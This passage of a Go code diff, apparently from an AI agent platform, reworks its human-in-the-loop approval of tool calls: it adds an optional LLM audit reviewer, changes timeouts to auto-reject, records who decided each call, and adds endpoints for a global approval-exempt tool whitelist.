+			prep.ConversationID,
+			h.conversationProjectID(prep.ConversationID),
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			chatReasoningToClientIntent(req.Reasoning),
+			h.agentSessionContextBlock(prep.ConversationID),
+		)
+		if runErr == nil {
+			break
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/external_mcp.go

@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
 		}
 
 		toolCount := toolCounts[name]
-		errorMsg := ""
-		if status == "error" {
-			errorMsg = h.manager.GetError(name)
-		}
+		errorMsg := externalMCPStatusError(h.manager, name, status)
 
 		result[name] = ExternalMCPResponse{
 			Config:    cfg,
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
 		}
 	}
 
-	// 获取错误信息
-	errorMsg := ""
-	if status == "error" {
-		errorMsg = h.manager.GetError(name)
-	}
-
 	c.JSON(http.StatusOK, ExternalMCPResponse{
 		Config:    cfg,
 		Status:    status,
 		ToolCount: toolCount,
-		Error:     errorMsg,
+		Error:     externalMCPStatusError(h.manager, name, status),
 	})
 }
 
+// externalMCPStatusError 在 error/disconnected 状态下返回最近错误（含断连原因）。
+func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
+	if status != "error" && status != "disconnected" {
+		return ""
+	}
+	return manager.GetError(name)
+}
+
 // AddOrUpdateExternalMCP 添加或更新外部MCP配置
 func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
 	var req AddOrUpdateExternalMCPRequest

internal/handler/external_mcp_test.go

@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
 	}
 }
 
+func TestExternalMCPStatusError(t *testing.T) {
+	manager := mcp.NewExternalMCPManager(zap.NewNop())
+	if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
+		t.Fatalf("connected status should not return error, got %q", got)
+	}
+	if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
+		t.Fatalf("connecting status should not return error, got %q", got)
+	}
+}
+
 func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 	router, handler, _ := setupTestRouter()
 

internal/handler/hitl.go

@@ -23,6 +23,7 @@ import (
 type hitlRuntimeConfig struct {
 	Enabled        bool
 	Mode           string
+	Reviewer       string
 	SensitiveTools map[string]struct{}
 	Timeout        time.Duration
 }
@@ -49,6 +50,8 @@ type HITLManager struct {
 	mu      sync.RWMutex
 	runtime map[string]hitlRuntimeConfig
 	pending map[string]*pendingInterrupt
+	// approvedExec 审批通过、待回写 tool_result 的队列（按会话 FIFO）
+	approvedExec map[string][]hitlApprovedExecTrack
 }
 
 func NewHITLManager(db *database.DB, logger *zap.Logger) *HITLManager {
@@ -90,6 +93,7 @@ CREATE TABLE IF NOT EXISTS hitl_conversation_configs (
 	if err != nil {
 		return err
 	}
+	m.migrateHitlSchemaColumns()
 
 	// On startup, cancel all orphaned pending interrupts from previous process.
 	// Their in-memory channels are gone, so they can never be resolved.
@@ -141,6 +145,7 @@ func (m *HITLManager) ActivateConversation(conversationID string, req *HITLReque
 	m.runtime[conversationID] = hitlRuntimeConfig{
 		Enabled:        true,
 		Mode:           normalizeHitlMode(req.Mode),
+		Reviewer:       normalizeHitlReviewer(req.Reviewer),
 		SensitiveTools: tools,
 		Timeout:        timeout,
 	}
@@ -153,17 +158,14 @@ func (m *HITLManager) DeactivateConversation(conversationID string) {
 	m.mu.Unlock()
 }
 
-// hitlConfigGlobalToolWhitelist 来自 config.yaml hitl.tool_whitelist（去重、去空）。
+// hitlConfigGlobalToolWhitelist 来自 config.yaml hitl.tool_whitelist（去重、去空），并合并内置元工具免审批项。
 func (h *AgentHandler) hitlConfigGlobalToolWhitelist() []string {
 	if h == nil || h.config == nil {
-		return nil
+		return multiagent.MergeHitlExemptMetaTools(nil)
 	}
 	raw := h.config.Hitl.ToolWhitelist
-	if len(raw) == 0 {
-		return nil
-	}
 	seen := make(map[string]struct{})
-	out := make([]string, 0, len(raw))
+	out := make([]string, 0, len(raw)+len(multiagent.HitlExemptMetaTools))
 	for _, t := range raw {
 		n := strings.ToLower(strings.TrimSpace(t))
 		if n == "" {
@@ -175,44 +177,35 @@ func (h *AgentHandler) hitlConfigGlobalToolWhitelist() []string {
 		seen[n] = struct{}{}
 		out = append(out, strings.TrimSpace(t))
 	}
-	return out
+	return multiagent.MergeHitlExemptMetaTools(out)
 }
 
-// hitlRequestWithMergedConfigWhitelist 将会话/API 中的白名单与 config.yaml 全局白名单合并（并集），仅用于运行时 Activate；不写入数据库。
+// hitlRequestWithMergedConfigWhitelist 将会话/API 中的白名单与 config.yaml 全局白名单及内置元工具免审批项合并（并集），仅用于运行时 Activate；不写入数据库。
 func (h *AgentHandler) hitlRequestWithMergedConfigWhitelist(req *HITLRequest) *HITLRequest {
-	gw := h.hitlConfigGlobalToolWhitelist()
-	if len(gw) == 0 {
-		return req
-	}
 	if req == nil {
 		return nil
 	}
 	seen := make(map[string]struct{})
-	union := make([]string, 0, len(gw)+len(req.SensitiveTools))
-	for _, t := range gw {
+	union := make([]string, 0, len(req.SensitiveTools)+16)
+	add := func(t string) {
 		n := strings.ToLower(strings.TrimSpace(t))
 		if n == "" {
-			continue
+			return
 		}
 		if _, ok := seen[n]; ok {
-			continue
+			return
 		}
 		seen[n] = struct{}{}
 		union = append(union, strings.TrimSpace(t))
 	}
+	for _, t := range h.hitlConfigGlobalToolWhitelist() {
+		add(t)
+	}
 	for _, t := range req.SensitiveTools {
-		n := strings.ToLower(strings.TrimSpace(t))
-		if n == "" {
-			continue
-		}
-		if _, ok := seen[n]; ok {
-			continue
-		}
-		seen[n] = struct{}{}
-		union = append(union, strings.TrimSpace(t))
+		add(t)
 	}
 	out := *req
-	out.SensitiveTools = union
+	out.SensitiveTools = multiagent.MergeHitlExemptMetaTools(union)
 	return &out
 }
 
@@ -362,22 +355,22 @@ func (m *HITLManager) SaveConversationConfig(conversationID string, req *HITLReq
 		timeout = 0
 	}
 	_, err := m.db.Exec(`INSERT INTO hitl_conversation_configs
-		(conversation_id, enabled, mode, sensitive_tools, timeout_seconds, updated_at)
-		VALUES (?, ?, ?, ?, ?, ?)
+		(conversation_id, enabled, mode, reviewer, sensitive_tools, timeout_seconds, updated_at)
+		VALUES (?, ?, ?, ?, ?, ?, ?)
 		ON CONFLICT(conversation_id) DO UPDATE SET
-		enabled=excluded.enabled, mode=excluded.mode, sensitive_tools=excluded.sensitive_tools, timeout_seconds=excluded.timeout_seconds, updated_at=excluded.updated_at`,
-		conversationID, boolToInt(req.Enabled), mode, string(tools), timeout, time.Now())
+		enabled=excluded.enabled, mode=excluded.mode, reviewer=excluded.reviewer, sensitive_tools=excluded.sensitive_tools, timeout_seconds=excluded.timeout_seconds, updated_at=excluded.updated_at`,
+		conversationID, boolToInt(req.Enabled), mode, normalizeHitlReviewer(req.Reviewer), string(tools), timeout, time.Now())
 	return err
 }
 
 func (m *HITLManager) LoadConversationConfig(conversationID string) (*HITLRequest, error) {
 	var enabledInt int
-	var mode, toolsJSON string
+	var mode, reviewer, toolsJSON string
 	var timeout int
-	err := m.db.QueryRow(`SELECT enabled, mode, sensitive_tools, timeout_seconds FROM hitl_conversation_configs WHERE conversation_id = ?`, conversationID).
-		Scan(&enabledInt, &mode, &toolsJSON, &timeout)
+	err := m.db.QueryRow(`SELECT enabled, mode, COALESCE(reviewer,'human'), sensitive_tools, timeout_seconds FROM hitl_conversation_configs WHERE conversation_id = ?`, conversationID).
+		Scan(&enabledInt, &mode, &reviewer, &toolsJSON, &timeout)
 	if errors.Is(err, sql.ErrNoRows) {
-		return &HITLRequest{Enabled: false, Mode: "off", SensitiveTools: []string{}, TimeoutSeconds: 0}, nil
+		return &HITLRequest{Enabled: false, Mode: "off", Reviewer: "human", SensitiveTools: []string{}, TimeoutSeconds: 0}, nil
 	}
 	if err != nil {
 		return nil, err
@@ -390,6 +383,7 @@ func (m *HITLManager) LoadConversationConfig(conversationID string) (*HITLReques
 	return &HITLRequest{
 		Enabled:        enabledInt == 1,
 		Mode:           mode,
+		Reviewer:       normalizeHitlReviewer(reviewer),
 		SensitiveTools: tools,
 		TimeoutSeconds: timeout,
 	}, nil
@@ -413,15 +407,16 @@ func (m *HITLManager) waitDecision(ctx context.Context, p *pendingInterrupt, tim
 		if p.Mode != "review_edit" && len(d.EditedArguments) > 0 {
 			d.EditedArguments = nil
 		}
-		_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='decided', decision=?, decision_comment=?, decided_at=? WHERE id=?`,
+		_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='decided', decision=?, decision_comment=?, decided_at=?, decided_by='human' WHERE id=?`,
 			d.Decision, d.Comment, time.Now(), p.InterruptID)
 		return d, nil
 	case <-timeoutCh:
-		_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='approve', decision_comment='timeout auto approve', decided_at=? WHERE id=?`,
-			time.Now(), p.InterruptID)
-		return hitlDecision{Decision: "approve", Comment: "timeout auto approve"}, nil
+		comment := "HITL timeout auto-reject for safety"
+		_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='reject', decision_comment=?, decided_at=?, decided_by='system' WHERE id=?`,
+			comment, time.Now(), p.InterruptID)
+		return hitlDecision{Decision: "reject", Comment: comment}, nil
 	case <-ctx.Done():
-		_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject', decision_comment='task cancelled', decided_at=? WHERE id=?`,
+		_, _ = m.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject', decision_comment='task cancelled', decided_at=?, decided_by='system' WHERE id=?`,
 			time.Now(), p.InterruptID)
 		return hitlDecision{Decision: "reject", Comment: "task cancelled"}, ctx.Err()
 	}
@@ -445,12 +440,57 @@ func (h *AgentHandler) waitHITLApproval(runCtx context.Context, cancelRun contex
 	if !need {
 		return nil, nil
 	}
+	h.enrichHitlApprovalPayload(conversationID, assistantMessageID, payload)
 	payloadRaw, _ := json.Marshal(payload)
 	p, err := h.hitlManager.CreatePendingInterrupt(conversationID, assistantMessageID, cfg.Mode, toolName, toolCallID, string(payloadRaw))
 	if err != nil {
 		h.logger.Warn("创建 HITL 中断失败", zap.Error(err))
 		return nil, err
 	}
+
+	if cfg.Reviewer == "audit_agent" {
+		ad := h.auditAgentReview(runCtx, cfg.Mode, toolName, payload)
+		now := time.Now()
+		_, _ = h.db.Exec(`UPDATE hitl_interrupts SET status='decided', decision=?, decision_comment=?, decided_at=?, decided_by='audit_agent' WHERE id=?`,
+			ad.Decision, ad.Comment, now, p.InterruptID)
+		if sendEventFunc != nil {
+			sendEventFunc("hitl_audit_agent", "审计 Agent 已裁决", map[string]interface{}{
+				"conversationId": conversationID,
+				"interruptId":    p.InterruptID,
+				"toolName":       toolName,
+				"mode":           cfg.Mode,
+				"decision":       ad.Decision,
+				"comment":        ad.Comment,
+				"editedArgs":     ad.EditedArguments,
+				"decidedBy":      "audit_agent",
+			})
+		}
+		if ad.Decision == "reject" {
+			if sendEventFunc != nil {
+				sendEventFunc("hitl_rejected", "审计 Agent 拒绝本次工具调用", map[string]interface{}{
+					"conversationId": conversationID,
+					"interruptId":    p.InterruptID,
+					"toolName":       toolName,
+					"comment":        ad.Comment,
+					"decidedBy":      "audit_agent",
+				})
+			}
+			return &ad, nil
+		}
+		if sendEventFunc != nil {
+			sendEventFunc("hitl_resumed", "审计 Agent 已通过，继续执行", map[string]interface{}{
+				"conversationId": conversationID,
+				"interruptId":    p.InterruptID,
+				"toolName":       toolName,
+				"comment":        ad.Comment,
+				"editedArgs":     ad.EditedArguments,
+				"decidedBy":      "audit_agent",
+			})
+		}
+		h.hitlManager.TrackApprovedHitlExecution(p.InterruptID, conversationID, toolName, toolCallID)
+		return &ad, nil
+	}
+
 	if sendEventFunc != nil {
 		sendEventFunc("hitl_interrupt", "命中人机协同审批", map[string]interface{}{
 			"conversationId": conversationID,
@@ -479,8 +519,12 @@ func (h *AgentHandler) waitHITLApproval(runCtx context.Context, cancelRun contex
 		return nil, waitErr
 	}
 	if d.Decision == "reject" {
+		rejectMsg := "人工拒绝本次工具调用，模型将基于反馈继续迭代"
+		if strings.Contains(strings.ToLower(strings.TrimSpace(d.Comment)), "timeout") {
+			rejectMsg = "审批超时，安全起见已自动拒绝，模型将基于反馈继续迭代"
+		}
 		if sendEventFunc != nil {
-			sendEventFunc("hitl_rejected", "人工拒绝本次工具调用，模型将基于反馈继续迭代", map[string]interface{}{
+			sendEventFunc("hitl_rejected", rejectMsg, map[string]interface{}{
 				"conversationId": conversationID,
 				"interruptId":    p.InterruptID,
 				"toolName":       toolName,
@@ -498,6 +542,7 @@ func (h *AgentHandler) waitHITLApproval(runCtx context.Context, cancelRun contex
 			"editedArgs":     d.EditedArguments,
 		})
 	}
+	h.hitlManager.TrackApprovedHitlExecution(p.InterruptID, conversationID, toolName, toolCallID)
 	return &d, nil
 }
 
@@ -527,11 +572,6 @@ func (h *AgentHandler) handleHITLToolCall(runCtx context.Context, cancelRun cont
 }
 
 func (h *AgentHandler) ListHITLPending(c *gin.Context) {
-	conversationID := strings.TrimSpace(c.Query("conversationId"))
-	status := strings.TrimSpace(c.Query("status"))
-	if status == "" {
-		status = "pending"
-	}
 	page, _ := strconv.Atoi(c.DefaultQuery("page", "1"))
 	if page < 1 {
 		page = 1
@@ -539,15 +579,12 @@ func (h *AgentHandler) ListHITLPending(c *gin.Context) {
 	pageSize, _ := strconv.Atoi(c.DefaultQuery("pageSize", "20"))
 	pageSize = int(math.Max(1, math.Min(float64(pageSize), 200)))
 	offset := (page - 1) * pageSize
-	q := `SELECT id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, decision, decision_comment, created_at, decided_at FROM hitl_interrupts WHERE 1=1`
-	args := []interface{}{}
-	if conversationID != "" {
-		q += " AND conversation_id = ?"
-		args = append(args, conversationID)
-	}
-	if status != "all" {
-		q += " AND status = ?"
-		args = append(args, status)
+	q, args := h.buildHitlListQuery(false)
+	q, args = h.appendHitlListFilters(q, args, c)
+	total, err := h.countHitlQuery(q, args)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
 	}
 	q += " ORDER BY created_at DESC LIMIT ? OFFSET ?"
 	args = append(args, pageSize, offset)
@@ -557,41 +594,12 @@ func (h *AgentHandler) ListHITLPending(c *gin.Context) {
 		return
 	}
 	defer rows.Close()
-	items := make([]map[string]interface{}, 0)
-	for rows.Next() {
-		var id, cid, mode, toolName, toolCallID, payload, rowStatus string
-		var messageID sql.NullString
-		var decision, comment sql.NullString
-		var createdAt time.Time
-		var decidedAt sql.NullTime
-		if err := rows.Scan(&id, &cid, &messageID, &mode, &toolName, &toolCallID, &payload, &rowStatus, &decision, &comment, &createdAt, &decidedAt); err != nil {
-			continue
-		}
-		msgID := ""
-		if messageID.Valid {
-			msgID = messageID.String
-		}
-		items = append(items, map[string]interface{}{
-			"id":             id,
-			"conversationId": cid,
-			"messageId":      msgID,
-			"mode":           mode,
-			"toolName":       toolName,
-			"toolCallId":     toolCallID,
-			"payload":        payload,
-			"status":         rowStatus,
-			"decision":       decision.String,
-			"comment":        comment.String,
-			"createdAt":      createdAt,
-			"decidedAt": func() interface{} {
-				if decidedAt.Valid {
-					return decidedAt.Time
-				}
-				return nil
-			}(),
-		})
+	items, err := h.scanHitlInterruptRows(rows)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
 	}
-	c.JSON(http.StatusOK, gin.H{"items": items, "page": page, "pageSize": pageSize})
+	c.JSON(http.StatusOK, gin.H{"items": items, "page": page, "pageSize": pageSize, "total": total})
 }
 
 type hitlDecisionReq struct {
@@ -636,7 +644,7 @@ func (h *AgentHandler) DismissHITLInterrupt(c *gin.Context) {
 		return
 	}
 	res, err := h.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject',
-		decision_comment='dismissed by user', decided_at=CURRENT_TIMESTAMP
+		decision_comment='dismissed by user', decided_at=CURRENT_TIMESTAMP, decided_by='human'
 		WHERE id=? AND status='pending'`, req.InterruptID)
 	if err != nil {
 		c.JSON(500, gin.H{"error": err.Error()})
@@ -732,6 +740,7 @@ func (h *AgentHandler) UpsertHITLConversationConfig(c *gin.Context) {
 		return
 	}
 	req.Mode = normalizeHitlMode(req.Mode)
+	req.Reviewer = normalizeHitlReviewer(req.Reviewer)
 	if err := h.hitlManager.SaveConversationConfig(req.ConversationID, &req.HITLRequest); err != nil {
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
@@ -753,6 +762,44 @@ type mergeHitlGlobalWhitelistReq struct {
 	SensitiveTools []string `json:"sensitiveTools"`
 }
 
+type setHitlGlobalWhitelistReq struct {
+	ToolWhitelist []string `json:"toolWhitelist"`
+}
+
+// GetHITLGlobalToolWhitelist 返回 config.yaml 中的全局免审批工具白名单。
+func (h *AgentHandler) GetHITLGlobalToolWhitelist(c *gin.Context) {
+	c.JSON(http.StatusOK, gin.H{
+		"toolWhitelist": h.hitlConfigGlobalToolWhitelist(),
+	})
+}
+
+// SetHITLGlobalToolWhitelist 整表替换 config.yaml 中的全局免审批工具白名单。
+func (h *AgentHandler) SetHITLGlobalToolWhitelist(c *gin.Context) {
+	if h.hitlWhitelistSaver == nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "HITL 配置持久化不可用"})
+		return
+	}
+	var req setHitlGlobalWhitelistReq
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if err := h.hitlWhitelistSaver.SetHitlToolWhitelist(req.ToolWhitelist); err != nil {
+		h.logger.Warn("写入 HITL 工具白名单到 config.yaml 失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if h.audit != nil {
+		h.audit.RecordOK(c, "hitl", "tool_whitelist_update", "HITL 全局白名单更新", "hitl_config", "tool_whitelist", nil)
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"ok":                      true,
+		"toolWhitelist":           h.hitlConfigGlobalToolWhitelist(),
+		"hitlGlobalToolWhitelist":   h.hitlConfigGlobalToolWhitelist(),
+		"hitlGlobalWhitelistMerged": false,
+	})
+}
+
 // MergeHITLGlobalToolWhitelist 无会话 ID 时将侧栏提交的免审批工具合并进 config.yaml（与 PUT /hitl/config 中白名单落盘规则一致）。
 func (h *AgentHandler) MergeHITLGlobalToolWhitelist(c *gin.Context) {
 	if h.hitlWhitelistSaver == nil {

internal/handler/hitl_audit_agent.go

@@ -0,0 +1,357 @@
+package handler
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+// auditAgentReview 在 reviewer=audit_agent 时由 LLM 代行审批。
+// 白名单工具在 shouldInterrupt 阶段已跳过，到达此处的一律需要裁决。
+func (h *AgentHandler) auditAgentReview(ctx context.Context, hitlMode, toolName string, payload map[string]interface{}) hitlDecision {
+	if h == nil {
+		return hitlDecision{Decision: "reject", Comment: "audit agent: handler unavailable"}
+	}
+	mode := normalizeHitlMode(hitlMode)
+	prompt := config.DefaultHitlAuditAgentPrompt()
+	if h.config != nil {
+		prompt = h.config.Hitl.EffectiveAuditAgentPromptForMode(mode)
+	}
+	if h.auditLLM == nil {
+		return hitlDecision{Decision: "reject", Comment: "audit agent: LLM 未配置"}
+	}
+	if ctx == nil {
+		ctx = context.Background()
+	}
+	callCtx, cancel := context.WithTimeout(ctx, 90*time.Second)
+	defer cancel()
+
+	userContent := buildAuditAgentReviewInput(mode, toolName, payload)
+	requestBody := map[string]interface{}{
+		"model": h.auditLLMModel(),
+		"messages": []map[string]interface{}{
+			{"role": "system", "content": prompt},
+			{"role": "user", "content": userContent},
+		},
+		"temperature":           0.1,
+		"max_completion_tokens": 1024,
+		// 审计裁决需要结构化 JSON；关闭 thinking 避免 Qwen 等把正文放进 reasoning_content 导致解析失败。
+		"thinking": map[string]interface{}{"type": "disabled"},
+	}
+
+	var apiResponse struct {
+		Choices []struct {
+			Message struct {
+				Content          string `json:"content"`
+				ReasoningContent string `json:"reasoning_content"`
+			} `json:"message"`
+		} `json:"choices"`
+	}
+	if err := h.auditLLM.ChatCompletion(callCtx, requestBody, &apiResponse); err != nil {
+		h.logger.Warn("审计 Agent LLM 调用失败", zap.Error(err), zap.String("tool", toolName))
+		return hitlDecision{
+			Decision: "reject",
+			Comment:  "audit agent: LLM 调用失败，保守拒绝",
+		}
+	}
+	if len(apiResponse.Choices) == 0 {
+		return hitlDecision{Decision: "reject", Comment: "audit agent: LLM 无有效响应，保守拒绝"}
+	}
+	msg := apiResponse.Choices[0].Message
+	raw := strings.TrimSpace(msg.Content)
+	if raw == "" {
+		raw = strings.TrimSpace(msg.ReasoningContent)
+	}
+	dec, err := parseAuditAgentLLMContent(raw)
+	if err != nil {
+		snippet := raw
+		if len(snippet) > 240 {
+			snippet = snippet[:240] + "..."
+		}
+		h.logger.Warn("审计 Agent 响应解析失败",
+			zap.Error(err),
+			zap.String("tool", toolName),
+			zap.String("mode", mode),
+			zap.String("snippet", snippet),
+		)
+		return hitlDecision{Decision: "reject", Comment: "audit agent: 响应无法解析，保守拒绝"}
+	}
+	if mode != "review_edit" && len(dec.EditedArguments) > 0 {
+		h.logger.Warn("审计 Agent 在审批模式下返回 editedArguments，已忽略",
+			zap.String("tool", toolName),
+		)
+		dec.EditedArguments = nil
+	}
+	if dec.Comment == "" {
+		dec.Comment = "audit agent: " + dec.Decision
+	} else if !strings.HasPrefix(strings.ToLower(dec.Comment), "audit agent") {
+		dec.Comment = "audit agent: " + dec.Comment
+	}
+	return dec
+}
+
+func (h *AgentHandler) auditLLMModel() string {
+	if h.config != nil && strings.TrimSpace(h.config.OpenAI.Model) != "" {
+		return strings.TrimSpace(h.config.OpenAI.Model)
+	}
+	return ""
+}
+
+func buildAuditAgentReviewInput(hitlMode, toolName string, payload map[string]interface{}) string {
+	review := map[string]interface{}{
+		"hitlMode": normalizeHitlMode(hitlMode),
+		"toolName": strings.TrimSpace(toolName),
+	}
+	if payload != nil {
+		for _, k := range []string{"arguments", "argumentsObj", "command", hitlPayloadUserMessage, hitlPayloadThinking, hitlPayloadReasoningChain, hitlPayloadPlanning} {
+			if v, ok := payload[k]; ok && v != nil && fmt.Sprint(v) != "" {
+				review[k] = v
+			}
+		}
+	}
+	b, err := json.MarshalIndent(review, "", "  ")
+	if err != nil {
+		return fmt.Sprintf(`{"hitlMode":%q,"toolName":%q}`, normalizeHitlMode(hitlMode), toolName)
+	}
+	return string(b)
+}
+
+func parseAuditAgentLLMContent(content string) (hitlDecision, error) {
+	s := strings.TrimSpace(content)
+	if s == "" {
+		return hitlDecision{}, errors.New("empty content")
+	}
+	for _, candidate := range auditAgentJSONCandidates(s) {
+		dec, comment, editedArgs, err := parseAuditAgentDecisionObject(candidate)
+		if err == nil {
+			return hitlDecision{
+				Decision:        dec,
+				Comment:         comment,
+				EditedArguments: editedArgs,
+			}, nil
+		}
+	}
+	return hitlDecision{}, fmt.Errorf("no valid decision json in response")
+}
+
+func auditAgentJSONCandidates(s string) []string {
+	out := make([]string, 0, 4)
+	seen := make(map[string]struct{})
+	add := func(c string) {
+		c = strings.TrimSpace(c)
+		if c == "" {
+			return
+		}
+		if _, ok := seen[c]; ok {
+			return
+		}
+		seen[c] = struct{}{}
+		out = append(out, c)
+	}
+	add(s)
+	add(stripMarkdownCodeFence(s))
+	if obj := extractFirstJSONObject(s); obj != "" {
+		add(obj)
+	}
+	if obj := extractFirstJSONObject(stripMarkdownCodeFence(s)); obj != "" {
+		add(obj)
+	}
+	return out
+}
+
+func stripMarkdownCodeFence(s string) string {
+	s = strings.TrimSpace(s)
+	for _, fence := range []string{"```json", "```JSON", "```"} {
+		if strings.HasPrefix(s, fence) {
+			s = strings.TrimPrefix(s, fence)
+		}
+	}
+	s = strings.TrimSuffix(s, "```")
+	return strings.TrimSpace(s)
+}
+
+func extractFirstJSONObject(s string) string {
+	start := strings.Index(s, "{")
+	if start < 0 {
+		return ""
+	}
+	depth := 0
+	inStr := false
+	esc := false
+	for i := start; i < len(s); i++ {
+		ch := s[i]
+		if inStr {
+			if esc {
+				esc = false
+				continue
+			}
+			if ch == '\\' {
+				esc = true
+				continue
+			}
+			if ch == '"' {
+				inStr = false
+			}
+			continue
+		}
+		switch ch {
+		case '"':
+			inStr = true
+		case '{':
+			depth++
+		case '}':
+			depth--
+			if depth == 0 {
+				return s[start : i+1]
+			}
+		}
+	}
+	return ""
+}
+
+func parseAuditAgentDecisionObject(jsonText string) (decision, comment string, editedArgs map[string]interface{}, err error) {
+	var parsed map[string]interface{}
+	if err := json.Unmarshal([]byte(jsonText), &parsed); err != nil {
+		return "", "", nil, err
+	}
+	rawDecision := auditAgentPickString(parsed, "decision", "Decision", "result", "action", "verdict", "决策", "决定")
+	decision = normalizeAuditAgentDecision(rawDecision)
+	if decision == "" {
+		return "", "", nil, fmt.Errorf("missing decision")
+	}
+	comment = auditAgentPickString(parsed, "comment", "Comment", "reason", "message", "rationale", "备注", "理由", "说明")
+	editedArgs = auditAgentPickObject(parsed, "editedArguments", "edited_arguments", "editedArgs")
+	return decision, strings.TrimSpace(comment), editedArgs, nil
+}
+
+func auditAgentPickString(m map[string]interface{}, keys ...string) string {
+	for _, k := range keys {
+		if v, ok := m[k]; ok && v != nil {
+			s := strings.TrimSpace(fmt.Sprint(v))
+			if s != "" {
+				return s
+			}
+		}
+	}
+	return ""
+}
+
+func auditAgentPickObject(m map[string]interface{}, keys ...string) map[string]interface{} {
+	for _, k := range keys {
+		v, ok := m[k]
+		if !ok || v == nil {
+			continue
+		}
+		switch t := v.(type) {
+		case map[string]interface{}:
+			if len(t) > 0 {
+				return t
+			}
+		case string:
+			s := strings.TrimSpace(t)
+			if s == "" || s == "{}" {
+				continue
+			}
+			var obj map[string]interface{}
+			if err := json.Unmarshal([]byte(s), &obj); err == nil && len(obj) > 0 {
+				return obj
+			}
+		}
+	}
+	return nil
+}
+
+func normalizeAuditAgentDecision(v string) string {
+	d := strings.ToLower(strings.TrimSpace(v))
+	switch d {
+	case "approve", "approved", "pass", "passed", "allow", "allowed", "yes", "ok", "accept", "accepted":
+		return "approve"
+	case "reject", "rejected", "deny", "denied", "no", "block", "blocked", "refuse", "refused":
+		return "reject"
+	}
+	switch strings.TrimSpace(v) {
+	case "通过", "批准", "允许", "同意", "放行":
+		return "approve"
+	case "拒绝", "驳回", "禁止", "否决":
+		return "reject"
+	}
+	return ""
+}
+
+type hitlAuditStrategyReq struct {
+	AuditAgentPrompt           string `json:"auditAgentPrompt"`
+	AuditAgentPromptReviewEdit string `json:"auditAgentPromptReviewEdit"`
+}
+
+func (h *AgentHandler) GetHITLAuditStrategy(c *gin.Context) {
+	approvalPrompt := config.DefaultHitlAuditAgentPrompt()
+	reviewEditPrompt := config.DefaultHitlAuditAgentPromptReviewEdit()
+	approvalCustom := false
+	reviewEditCustom := false
+	if h.config != nil {
+		approvalPrompt = h.config.Hitl.EffectiveAuditAgentPromptForMode("approval")
+		reviewEditPrompt = h.config.Hitl.EffectiveAuditAgentPromptForMode("review_edit")
+		approvalCustom = strings.TrimSpace(h.config.Hitl.AuditAgentPrompt) != ""
+		reviewEditCustom = strings.TrimSpace(h.config.Hitl.AuditAgentPromptReviewEdit) != ""
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"auditAgentPrompt":                  approvalPrompt,
+		"auditAgentPromptCustom":            approvalCustom,
+		"auditAgentPromptReviewEdit":        reviewEditPrompt,
+		"auditAgentPromptReviewEditCustom":  reviewEditCustom,
+		"defaultAuditAgentPrompt":           config.DefaultHitlAuditAgentPrompt(),
+		"defaultAuditAgentPromptReviewEdit": config.DefaultHitlAuditAgentPromptReviewEdit(),
+	})
+}
+
+func (h *AgentHandler) UpdateHITLAuditStrategy(c *gin.Context) {
+	if h.hitlStrategySaver == nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "HITL 策略持久化不可用"})
+		return
+	}
+	var req hitlAuditStrategyReq
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	approvalPrompt := strings.TrimSpace(req.AuditAgentPrompt)
+	reviewEditPrompt := strings.TrimSpace(req.AuditAgentPromptReviewEdit)
+	if err := h.hitlStrategySaver.UpdateHitlAuditAgentStrategy(approvalPrompt, reviewEditPrompt); err != nil {
+		h.logger.Warn("保存审计 Agent 提示词失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if h.audit != nil {
+		h.audit.RecordOK(c, "hitl", "audit_strategy_update", "HITL 审计策略更新", "hitl_config", "audit_agent_prompt", nil)
+	}
+	if h.config != nil {
+		h.config.Hitl.AuditAgentPrompt = approvalPrompt
+		h.config.Hitl.AuditAgentPromptReviewEdit = reviewEditPrompt
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"ok":                                true,
+		"auditAgentPrompt":                  config.HitlConfig{AuditAgentPrompt: approvalPrompt}.EffectiveAuditAgentPromptForMode("approval"),
+		"auditAgentPromptCustom":            approvalPrompt != "",
+		"auditAgentPromptReviewEdit":        config.HitlConfig{AuditAgentPromptReviewEdit: reviewEditPrompt}.EffectiveAuditAgentPromptForMode("review_edit"),
